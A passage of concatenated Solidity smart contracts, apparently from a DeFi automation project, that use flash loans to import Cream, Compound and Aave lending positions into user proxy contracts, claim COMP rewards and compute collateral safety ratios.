(Join(_joinAddr).dec() != 18) { joinAmount = _amount / (10 ** (18 - Join(_joinAddr).dec())); } Join(_joinAddr).exit(address(this), joinAmount); if (isEthJoinAddr(_joinAddr)) { Join(_joinAddr).gem().withdraw(joinAmount); // Weth -> Eth } return joinAmount; } function paybackDebt(address _managerAddr, uint _cdpId, bytes32 _ilk, uint _daiAmount) internal { address urn = Manager(_managerAddr).urns(_cdpId); daiJoin.dai().approve(DAI_JOIN_ADDRESS, _daiAmount); daiJoin.join(urn, _daiAmount); Manager(_managerAddr).frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk)); } function getVaultCollAddr(address _joinAddr) internal view returns (address) { address tokenAddr = address(Join(_joinAddr).gem()); if (tokenAddr == EXCHANGE_WETH_ADDRESS) { return KYBER_ETH_ADDRESS; } return tokenAddr; } function getPrice(bytes32 _ilk) public view returns (uint256) { (, uint256 mat) = spotter.ilks(_ilk); (, , uint256 spot, , ) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } receive() external override(FlashLoanReceiverBase, DFSExchangeCore) payable {} } pragma solidity ^0.6.0; import "../../utils/FlashLoanReceiverBase.sol"; import "../../interfaces/ProxyRegistryInterface.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../utils/SafeERC20.sol"; /// @title Receives FL from Aave and imports the position to DSProxy contract CreamImportFlashLoan is FlashLoanReceiverBase { using SafeERC20 for ERC20; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant CREAM_BORROW_PROXY = 0x87F198Ef6116CdBC5f36B581d212ad950b7e2Ddd; address public owner; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { ( address cCollateralToken, address cBorrowToken, address user, address proxy ) = abi.decode(_params, (address,address,address,address)); // approve FL tokens so we can repay them ERC20(_reserve).safeApprove(cBorrowToken, uint(-1)); // repay cream debt require(CTokenInterface(cBorrowToken).repayBorrowBehalf(user, uint(-1)) == 0, "Repay borrow behalf fail"); // transfer cTokens to proxy uint cTokenBalance = CTokenInterface(cCollateralToken).balanceOf(user); require(CTokenInterface(cCollateralToken).transferFrom(user, proxy, cTokenBalance)); // borrow bytes memory proxyData = getProxyData(cCollateralToken, cBorrowToken, _reserve, (_amount + _fee)); DSProxyInterface(proxy).execute(CREAM_BORROW_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); } /// @notice Formats function data call so we can call it through DSProxy /// @param _cCollToken CToken address of collateral /// @param _cBorrowToken CToken address we will borrow /// @param _borrowToken Token address we will borrow /// @param _amount Amount that will be borrowed /// @return proxyData Formated function call data function getProxyData(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) internal pure returns (bytes memory proxyData) { proxyData = abi.encodeWithSignature( "borrow(address,address,address,uint256)", _cCollToken, _cBorrowToken, _borrowToken, _amount); } function withdrawStuckFunds(address _tokenAddr, uint _amount) public { require(owner == msg.sender, "Must be owner"); if (_tokenAddr == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { msg.sender.transfer(_amount); } else { ERC20(_tokenAddr).safeTransfer(owner, _amount); } } } pragma solidity ^0.6.0; import "../../utils/GasBurner.sol"; import "../../auth/ProxyPermission.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/ILendingPool.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../interfaces/ProxyRegistryInterface.sol"; import "../helpers/CreamSaverHelper.sol"; /// @title Imports cream position from the account to DSProxy contract CreamImportTaker is CreamSaverHelper, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant CREAM_IMPORT_FLASH_LOAN = 0x24F4aC0Fe758c45cf8425D8Fbdd608cca9A7dBf8; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must approve cream_IMPORT_FLASH_LOAN to pull _cCollateralToken /// @param _cCollateralToken Collateral we are moving to DSProxy /// @param _cBorrowToken Borrow token we are moving to DSProxy function importLoan(address _cCollateralToken, address _cBorrowToken) external burnGas(20) { address proxy = getProxy(); uint loanAmount = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(msg.sender); bytes memory paramsData = abi.encode(_cCollateralToken, _cBorrowToken, msg.sender, proxy); givePermission(CREAM_IMPORT_FLASH_LOAN); lendingPool.flashLoan(CREAM_IMPORT_FLASH_LOAN, getUnderlyingAddr(_cBorrowToken), loanAmount, paramsData); removePermission(CREAM_IMPORT_FLASH_LOAN); logger.Log(address(this), msg.sender, "CreamImport", abi.encode(loanAmount, 0, _cCollateralToken)); } /// @notice Gets proxy address, if user doesn't has DSProxy build it /// @return proxy DsProxy address function getProxy() internal returns (address proxy) { proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).proxies(msg.sender); if (proxy == address(0)) { proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).build(msg.sender); } } } pragma solidity ^0.6.0; import "../../utils/GasBurner.sol"; import "../../auth/ProxyPermission.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/ILendingPool.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../interfaces/ProxyRegistryInterface.sol"; import "../helpers/CompoundSaverHelper.sol"; /// @title Imports Compound position from the account to DSProxy contract CompoundImportTaker is CompoundSaverHelper, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant COMPOUND_IMPORT_FLASH_LOAN = 0x1DB68Ba0B85800FD323387E8B69d9AE867e00B94; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must approve DSProxy to pull _cCollateralToken /// @param _cCollateralToken Collateral we are moving to DSProxy /// @param _cBorrowToken Borrow token we are moving to DSProxy function importLoan(address _cCollateralToken, address _cBorrowToken) external burnGas(20) { uint loanAmount = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(msg.sender); bytes memory paramsData = abi.encode(_cCollateralToken, _cBorrowToken, address(this)); givePermission(COMPOUND_IMPORT_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_IMPORT_FLASH_LOAN, getUnderlyingAddr(_cBorrowToken), loanAmount, paramsData); removePermission(COMPOUND_IMPORT_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundImport", abi.encode(loanAmount, 0, _cCollateralToken)); } } pragma solidity ^0.6.0; import "../../auth/AdminAuth.sol"; import "../../utils/FlashLoanReceiverBase.sol"; import "../../interfaces/ProxyRegistryInterface.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../utils/SafeERC20.sol"; /// @title Receives FL from Aave and imports the position to DSProxy contract CompoundImportFlashLoan is FlashLoanReceiverBase, AdminAuth { using SafeERC20 for ERC20; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant COMPOUND_BORROW_PROXY = 0xb7EDC39bE76107e2Cc645f0f6a3D164f5e173Ee2; address public constant PULL_TOKENS_PROXY = 0x45431b79F783e0BF0fe7eF32D06A3e061780bfc4; // solhint-disable-next-line no-empty-blocks constructor() public FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) {} /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params ) external override { (address cCollAddr, address cBorrowAddr, address proxy) = abi.decode(_params, (address, address, address)); address user = DSProxyInterface(proxy).owner(); uint256 usersCTokenBalance = CTokenInterface(cCollAddr).balanceOf(user); // approve FL tokens so we can repay them ERC20(_reserve).safeApprove(cBorrowAddr, _amount); // repay compound debt on behalf of the user require( CTokenInterface(cBorrowAddr).repayBorrowBehalf(user, uint256(-1)) == 0, "Repay borrow behalf fail" ); bytes memory depositProxyCallData = formatDSProxyPullTokensCall(cCollAddr, usersCTokenBalance); DSProxyInterface(proxy).execute(PULL_TOKENS_PROXY, depositProxyCallData); // borrow debt now on ds proxy bytes memory borrowProxyCallData = formatDSProxyBorrowCall(cCollAddr, cBorrowAddr, _reserve, (_amount + _fee)); DSProxyInterface(proxy).execute(COMPOUND_BORROW_PROXY, borrowProxyCallData); // repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); } /// @notice Formats function data call to pull tokens to DSProxy /// @param _cTokenAddr CToken address of the collateral /// @param _amount Amount of cTokens to pull function formatDSProxyPullTokensCall( address _cTokenAddr, uint256 _amount ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "pullTokens(address,uint256)", _cTokenAddr, _amount ); } /// @notice Formats function data call borrow through DSProxy /// @param _cCollToken CToken address of collateral /// @param _cBorrowToken CToken address we will borrow /// @param _borrowToken Token address we will borrow /// @param _amount Amount that will be borrowed function formatDSProxyBorrowCall( address _cCollToken, address _cBorrowToken, address _borrowToken, uint256 _amount ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "borrow(address,address,address,uint256)", _cCollToken, _cBorrowToken, _borrowToken, _amount ); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/GasBurner.sol"; import "../../auth/AdminAuth.sol"; import "../../auth/ProxyPermission.sol"; import "../../utils/DydxFlashLoanBase.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/ProxyRegistryInterface.sol"; import "../../interfaces/TokenInterface.sol"; import "../../interfaces/ERC20.sol"; import "../../exchangeV3/DFSExchangeData.sol"; /// @title Import Aave position from account to wallet /// @dev Contract needs to have enough wei in WETH for all transactions (2 WETH wei per transaction) contract AaveSaverTakerV2 is DydxFlashLoanBase, ProxyPermission, GasBurner, DFSExchangeData { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant AAVE_RECEIVER = 0x5a7689F1452d57E92878e0c0Be47cA3525e8Fcc9; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; function repay(address _market, ExchangeData memory _data, uint _rateMode, uint256 _gasCost, uint _flAmount) public payable { _flashLoan(_market, _data, _rateMode,_gasCost, true, _flAmount); } function boost(address _market, ExchangeData memory _data, uint _rateMode, uint256 _gasCost, uint _flAmount) public payable { _flashLoan(_market, _data, _rateMode, _gasCost, false, _flAmount); } /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must send 2 wei with this transaction function _flashLoan(address _market, ExchangeData memory _data, uint _rateMode, uint _gasCost, bool _isRepay, uint _flAmount) internal { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); uint256 ethAmount = _flAmount; // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, ethAmount, AAVE_RECEIVER); AAVE_RECEIVER.transfer(msg.value); bytes memory encodedData = packExchangeData(_data); operations[1] = _getCallAction( abi.encode(encodedData, _market, _rateMode, _gasCost, _isRepay, ethAmount, msg.value, proxyOwner(), address(this)), AAVE_RECEIVER ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(AAVE_RECEIVER); solo.operate(accountInfos, operations); removePermission(AAVE_RECEIVER); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/GasBurner.sol"; import "../../auth/AdminAuth.sol"; import "../../auth/ProxyPermission.sol"; import "../../utils/DydxFlashLoanBase.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/ProxyRegistryInterface.sol"; import "../../interfaces/TokenInterface.sol"; import "../../interfaces/ERC20.sol"; /// @title Import Aave position from account to wallet /// @dev Contract needs to have enough wei in WETH for all transactions (2 WETH wei per transaction) contract AaveImportTakerV2 is DydxFlashLoanBase, ProxyPermission { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant AAVE_IMPORT = 0x1C9B7FBD410Adcd213C5d6CBA12e651300061eaD; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must send 2 wei with this transaction /// @dev User must approve DSProxy to pull _aCollateralToken /// @param _market Market in which we want to import /// @param _collateralToken Collateral token we are moving to DSProxy /// @param _borrowToken Borrow token we are moving to DSProxy /// @param _ethAmount ETH amount that needs to be pulled from dydx function importLoan(address _market, address _collateralToken, address _borrowToken, uint _ethAmount) public { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _ethAmount, AAVE_IMPORT); operations[1] = _getCallAction( abi.encode(_market, _collateralToken, _borrowToken, _ethAmount, address(this)), AAVE_IMPORT ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(AAVE_IMPORT); solo.operate(accountInfos, operations); removePermission(AAVE_IMPORT); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveImport", abi.encode(_collateralToken, _borrowToken)); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/GasBurner.sol"; import "../../auth/AdminAuth.sol"; import "../../auth/ProxyPermission.sol"; import "../../utils/DydxFlashLoanBase.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/ProxyRegistryInterface.sol"; import "../../interfaces/TokenInterface.sol"; import "../../interfaces/ERC20.sol"; import "../../exchange/SaverExchangeCore.sol"; /// @title Import Aave position from account to wallet /// @dev Contract needs to have enough wei in WETH for all transactions (2 WETH wei per transaction) contract AaveSaverTaker is DydxFlashLoanBase, ProxyPermission, GasBurner, SaverExchangeCore { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant AAVE_RECEIVER = 0x969DfE84ac318531f13B731c7f21af9918802B94; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; function repay(ExchangeData memory _data, uint256 _gasCost) public payable { _flashLoan(_data, _gasCost, true); } function boost(ExchangeData memory _data, uint256 _gasCost) public payable { _flashLoan(_data, _gasCost, false); } /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must send 2 wei with this transaction function _flashLoan(ExchangeData memory _data, uint _gasCost, bool _isRepay) internal { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); uint256 ethAmount = ERC20(WETH_ADDR).balanceOf(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, ethAmount, AAVE_RECEIVER); AAVE_RECEIVER.transfer(msg.value); bytes memory encodedData = packExchangeData(_data); operations[1] = _getCallAction( abi.encode(encodedData, _gasCost, _isRepay, ethAmount, msg.value, proxyOwner(), address(this)), AAVE_RECEIVER ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(AAVE_RECEIVER); solo.operate(accountInfos, operations); removePermission(AAVE_RECEIVER); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/GasBurner.sol"; import "../../auth/AdminAuth.sol"; import "../../auth/ProxyPermission.sol"; import "../../utils/DydxFlashLoanBase.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/ProxyRegistryInterface.sol"; import "../../interfaces/TokenInterface.sol"; import "../../interfaces/ERC20.sol"; /// @title Import Aave position from account to wallet /// @dev Contract needs to have enough wei in WETH for all transactions (2 WETH wei per transaction) contract AaveImportTaker is DydxFlashLoanBase, ProxyPermission { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant AAVE_IMPORT = 0x5cD4239D2AA5b487bA87c3715127eA53685B4926; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must send 2 wei with this transaction /// @dev User must approve DSProxy to pull _aCollateralToken /// @param _collateralToken Collateral token we are moving to DSProxy /// @param _borrowToken Borrow token we are moving to DSProxy /// @param _ethAmount ETH amount that needs to be pulled from dydx function importLoan(address _collateralToken, address _borrowToken, uint _ethAmount) public { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _ethAmount, AAVE_IMPORT); operations[1] = _getCallAction( abi.encode(_collateralToken, _borrowToken, _ethAmount, address(this)), AAVE_IMPORT ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(AAVE_IMPORT); solo.operate(accountInfos, operations); removePermission(AAVE_IMPORT); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveImport", abi.encode(_collateralToken, _borrowToken)); } } pragma solidity ^0.6.0; import "../../interfaces/CTokenInterface.sol"; import "../../interfaces/ComptrollerInterface.sol"; import "../../utils/SafeERC20.sol"; contract CreamBorrowProxy { using SafeERC20 for ERC20; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258; function borrow(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) public { address[] memory markets = new address[](2); markets[0] = _cCollToken; markets[1] = _cBorrowToken; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); require(CTokenInterface(_cBorrowToken).borrow(_amount) == 0); // withdraw funds to msg.sender if (_borrowToken != ETH_ADDR) { ERC20(_borrowToken).safeTransfer(msg.sender, ERC20(_borrowToken).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } } pragma solidity ^0.6.0; import "../DS/DSMath.sol"; import "../interfaces/CompoundOracleInterface.sol"; import "../interfaces/ComptrollerInterface.sol"; import "../interfaces/CTokenInterface.sol"; import "../compound/helpers/Exponential.sol"; contract CreamSafetyRatio is Exponential, DSMath { // solhint-disable-next-line const-name-snakecase ComptrollerInterface public constant comp = ComptrollerInterface(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258); /// @notice Calcualted the ratio of debt / adjusted collateral /// @param _user Address of the user function getSafetyRatio(address _user) public view returns (uint) { // For each asset the account is in address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); uint sumCollateral = 0; uint sumBorrow = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in Eth if (cTokenBalance != 0) { (, uint collFactorMantissa) = comp.markets(address(asset)); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToEther) = mulExp3(collateralFactor, exchangeRate, oraclePrice); (, sumCollateral) = mulScalarTruncateAddUInt(tokensToEther, cTokenBalance, sumCollateral); } // Sum up debt in Eth if (borrowBalance != 0) { (, sumBorrow) = mulScalarTruncateAddUInt(oraclePrice, borrowBalance, sumBorrow); } } if (sumBorrow == 0) return uint(-1); uint borrowPowerUsed = (sumBorrow * 10**18) / sumCollateral; return wdiv(1e18, borrowPowerUsed); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../helpers/Exponential.sol"; import "../../utils/SafeERC20.sol"; import "../../utils/GasBurner.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../interfaces/ComptrollerInterface.sol"; contract CompBalance is Exponential, GasBurner { ComptrollerInterface public constant comp = ComptrollerInterface( 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B ); address public constant COMP_ADDR = 0xc00e94Cb662C3520282E6f5717214004A7f26888; uint224 public constant compInitialIndex = 1e36; function claimComp( address _user, address[] memory _cTokensSupply, address[] memory _cTokensBorrow ) public burnGas(8) { _claim(_user, _cTokensSupply, _cTokensBorrow); ERC20(COMP_ADDR).transfer(msg.sender, ERC20(COMP_ADDR).balanceOf(address(this))); } function _claim( address _user, address[] memory _cTokensSupply, address[] memory _cTokensBorrow ) internal { address[] memory u = new address[](1); u[0] = _user; comp.claimComp(u, _cTokensSupply, false, true); comp.claimComp(u, _cTokensBorrow, true, false); } function getBalance(address _user, address[] memory _cTokens) public view returns (uint256) { uint256 compBalance = 0; for (uint256 i = 0; i < _cTokens.length; ++i) { compBalance += getSuppyBalance(_cTokens[i], _user); compBalance += getBorrowBalance(_cTokens[i], _user); } compBalance = add_(comp.compAccrued(_user), compBalance); compBalance += ERC20(COMP_ADDR).balanceOf(_user); return compBalance; } function getClaimableAssets(address[] memory _cTokens, address _user) public view returns (bool[] memory supplyClaims, bool[] memory borrowClaims) { supplyClaims = new bool[](_cTokens.length); borrowClaims = new bool[](_cTokens.length); for (uint256 i = 0; i < _cTokens.length; ++i) { supplyClaims[i] = getSuppyBalance(_cTokens[i], _user) > 0; borrowClaims[i] = getBorrowBalance(_cTokens[i], _user) > 0; } } function getSuppyBalance(address _cToken, address _supplier) public view returns (uint256 supplierAccrued) { ComptrollerInterface.CompMarketState memory supplyState = comp.compSupplyState(_cToken); Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({ mantissa: comp.compSupplierIndex(_cToken, _supplier) }); if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint256 supplierTokens = CTokenInterface(_cToken).balanceOf(_supplier); uint256 supplierDelta = mul_(supplierTokens, deltaIndex); supplierAccrued = supplierDelta; } function getBorrowBalance(address _cToken, address _borrower) public view returns (uint256 borrowerAccrued) { ComptrollerInterface.CompMarketState memory borrowState = comp.compBorrowState(_cToken); Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({ mantissa: comp.compBorrowerIndex(_cToken, _borrower) }); Exp memory marketBorrowIndex = Exp({mantissa: CTokenInterface(_cToken).borrowIndex()}); if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint256 borrowerAmount = div_( CTokenInterface(_cToken).borrowBalanceStored(_borrower), marketBorrowIndex ); uint256 borrowerDelta = mul_(borrowerAmount, deltaIndex); borrowerAccrued = borrowerDelta; } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./CompBalance.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/DSProxyInterface.sol"; import "../CompoundBasicProxy.sol"; contract CompLeverage is DFSExchangeCore, CompBalance { address public constant C_COMP_ADDR = 0x70e36f6BF80a52b3B46b3aF8e106CC0ed743E8e4; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Should claim COMP and sell it to the specified token and deposit it back /// @param exchangeData Standard Exchange struct /// @param _cTokensSupply List of cTokens user is supplying /// @param _cTokensBorrow List of cTokens user is borrowing /// @param _cDepositAddr The cToken address of the asset you want to deposit /// @param _inMarket Flag if the cToken is used as collateral function claimAndSell( ExchangeData memory exchangeData, address[] memory _cTokensSupply, address[] memory _cTokensBorrow, address _cDepositAddr, bool _inMarket ) public payable { // Claim COMP token _claim(address(this), _cTokensSupply, _cTokensBorrow); uint compBalance = ERC20(COMP_ADDR).balanceOf(address(this)); uint depositAmount = 0; // Exchange COMP if (exchangeData.srcAddr != address(0)) { exchangeData.user = msg.sender; exchangeData.dfsFeeDivider = 400; // 0.25% exchangeData.srcAmount = compBalance; (, depositAmount) = _sell(exchangeData); // if we have no deposit after, send back tokens to the user if (_cDepositAddr == address(0)) { if (exchangeData.destAddr != ETH_ADDRESS) { ERC20(exchangeData.destAddr).safeTransfer(msg.sender, depositAmount); } else { msg.sender.transfer(address(this).balance); } } } // Deposit back a token if (_cDepositAddr != address(0)) { // if we are just depositing COMP without a swap if (_cDepositAddr == C_COMP_ADDR) { depositAmount = compBalance; } address tokenAddr = getUnderlyingAddr(_cDepositAddr); deposit(tokenAddr, _cDepositAddr, depositAmount, _inMarket); } logger.Log(address(this), msg.sender, "CompLeverage", abi.encode(compBalance, depositAmount, _cDepositAddr, exchangeData.destAmount)); } function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable { approveToken(_tokenAddr, _cTokenAddr); if (!_inMarket) { enterMarket(_cTokenAddr); } if (_tokenAddr != ETH_ADDRESS) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0); } else { CEtherInterface(_cTokenAddr).mint{value: _amount}(); // reverts on fail } } function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } function approveToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } } pragma solidity ^0.6.0; import "../utils/GasBurner.sol"; import "../utils/SafeERC20.sol"; import "../interfaces/CTokenInterface.sol"; import "../interfaces/CEtherInterface.sol"; import "../interfaces/ComptrollerInterface.sol"; /// @title Basic compound interactions through the DSProxy contract CompoundBasicProxy is GasBurner { address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; using SafeERC20 for ERC20; /// @notice User deposits tokens to the Compound protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _cTokenAddr CTokens to be deposited /// @param _amount Amount of tokens to be deposited /// @param _inMarket True if the token is already in market for that address function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), 